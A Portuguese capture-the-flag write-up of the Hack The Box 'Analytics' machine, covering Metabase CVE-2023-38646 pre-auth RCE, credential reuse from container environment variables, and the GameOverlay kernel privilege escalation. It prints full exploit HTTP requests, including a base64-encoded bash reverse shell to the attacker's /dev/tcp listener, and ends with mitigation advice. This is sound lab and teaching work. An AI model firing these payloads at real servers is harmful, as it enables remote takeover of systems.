Analytics
Introdução
Analytics é uma máquina Linux da plataforma Hack The Box, classificada oficialmente como dificuldade Easy. O alvo expõe um serviço web que roda uma instância do Metabase vulnerável a uma RCE pré-autenticação, o que permite obter acesso inicial dentro de um container Docker. A partir daí, credenciais encontradas nas variáveis de ambiente do container permitem acesso via SSH ao host, cujo kernel desatualizado é vulnerável ao GameOverlay, usado para escalar privilégios até root. https://app.hackthebox.com/machines/Analytics IP: 10.10.11.233
Escaneamento
O primeiro passo foi enumerar a máquina com o nmap.
ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.233 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.233
O nmap revela três portas abertas: 22 ssh, 80 http e uma porta de NFS.

Enumeração
Porta 80
Ao acessar a porta 80 diretamente pelo IP, a aplicação redireciona para o vhost analytical.htb, que foi adicionado ao /etc/hosts.
http://analytical.htb/
Analisando o código-fonte da página é possível notar uma referência a um subdomínio adicional.
Código-fonte:
Esse subdomínio, data.analytical.htb, também foi adicionado ao /etc/hosts e leva a uma aplicação Metabase (ferramenta de BI/analytics open source).
http://data.analytical.htb/
Inspecionando o código-fonte da página de login do Metabase e o arquivo LICENSE.txt é possível confirmar a versão exata do software em uso, o que ajuda a identificar se está vulnerável a alguma CVE conhecida.
view-source:http://data.analytical.htb/auth/login?redirect=%2F
view-source:http://data.analytical.htb/LICENSE.txt

Exploração
CVE-2023-38646 — Metabase Pre-Auth RCE
A instância do Metabase encontrada está vulnerável a uma RCE pré-autenticação. De acordo com o artigo publicado em https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/, a falha ocorre porque o endpoint /api/setup/validate, usado no fluxo inicial de configuração do Metabase, aceita uma string de conexão JDBC para o driver H2 sem validação adequada. Isso permite injetar um TRIGGER malicioso escrito em JavaScript (via engine H2/Nashorn) que é executado no contexto do servidor, resultando em execução remota de comandos.
Segui a exploração usando o Burp Suite para interceptar e modificar as requisições.
http://data.analytical.htb/api/session/properties
Primeiro passo: obter o “setup-token”, que é exposto no endpoint /api/session/properties.
db connection string embute um TRIGGER SQL malicioso que dispara um comando no sistema operacional através do H2/Nashorn assim que a tabela INFORMATION_SCHEMA.TABLES é consultada:
POST /api/setup/validate HTTP/1.1
Host: data.analytical.htb
Content-Type: application/json
Content-Length: 566
{
"token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl 10.10.14.166')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
Esse primeiro teste confirma a execução de comandos: o servidor faz uma requisição de callback (curl) para minha máquina, validando o RCE.
Com a RCE confirmada, alterei o payload para obter uma shell reversa:
POST /api/setup/validate HTTP/1.1
Host: data.analytical.htb
Content-Type: application/json
Content-Length: 812
{
"token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":
{},
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjE2Ni84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}')\n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "an-sec-research-team",
"engine": "h2"
}
}
O payload embutido está em base64, correspondendo ao comando:
bash -i >&/dev/tcp/10.10.14.166/8888 0>&1
Ao disparar a requisição, recebi a conexão da shell reversa em meu listener.

Pós-exploração
Escalonamento de privilégios (metalytics)
A shell obtida está dentro de um container Docker.
Comecei a enumerar o container. Ao listar as variáveis de ambiente, encontrei um usuário e senha:
metalytics:An4lytics_ds20223#
Testando essas credenciais via SSH no próprio host (fora do container), consegui autenticar com sucesso:
ssh metalytics@10.10.11.233
An4lytics_ds20223#

Escalonamento de privilégios (root)
Já com uma shell estável no host como metalytics, verifiquei a versão do kernel e constatei que estava desatualizada e vulnerável ao GameOverlay (CVE-2023-2640 / CVE-2023-32629), uma combinação de falhas no OverlayFS do kernel Ubuntu que permite escalonamento de privilégios local em sistemas com suporte a namespaces de usuário não privilegiados.
Usei o exploit público disponibilizado por g1vi, que automatiza o abuso do OverlayFS combinando as duas CVEs:
https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
Ao transferir o script para o host e executá-lo como metalytics, obtive uma shell com privilégios de root, finalizando o comprometimento total da máquina.

Anexos
- nmap — varredura de portas e enumeração de serviços.
- Burp Suite — interceptação e modificação das requisições usadas na exploração do Metabase.
- Artigo de referência da falha no Metabase: https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
- Script de exploração do GameOverlay (CVE-2023-2640 / CVE-2023-32629): https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
Mitigação
- Atualizar o Metabase para uma versão corrigida (pós CVE-2023-38646) e restringir o acesso ao endpoint
/api/setupapenas ao momento inicial de instalação, bloqueando-o após a configuração completa. - Segmentar a rede de forma que o container do Metabase não tenha acesso direto ao host nem a outros serviços internos além do estritamente necessário.
- Evitar armazenar credenciais em variáveis de ambiente de containers em texto plano; utilizar um gerenciador de segredos (Vault, Docker secrets, etc.) e nunca reutilizar a mesma senha entre o container e o host.
- Aplicar princípio do menor privilégio para SSH, restringindo quais usuários podem autenticar remotamente e habilitando autenticação por chave em vez de senha.
- Manter o kernel do host atualizado, aplicando os patches que corrigem o GameOverlay (CVE-2023-2640 / CVE-2023-32629) e demais falhas conhecidas do OverlayFS.
- Restringir namespaces de usuário não privilegiados (
unprivileged user namespaces) quando não forem estritamente necessários, reduzindo a superfície de ataque para exploits de kernel desse tipo.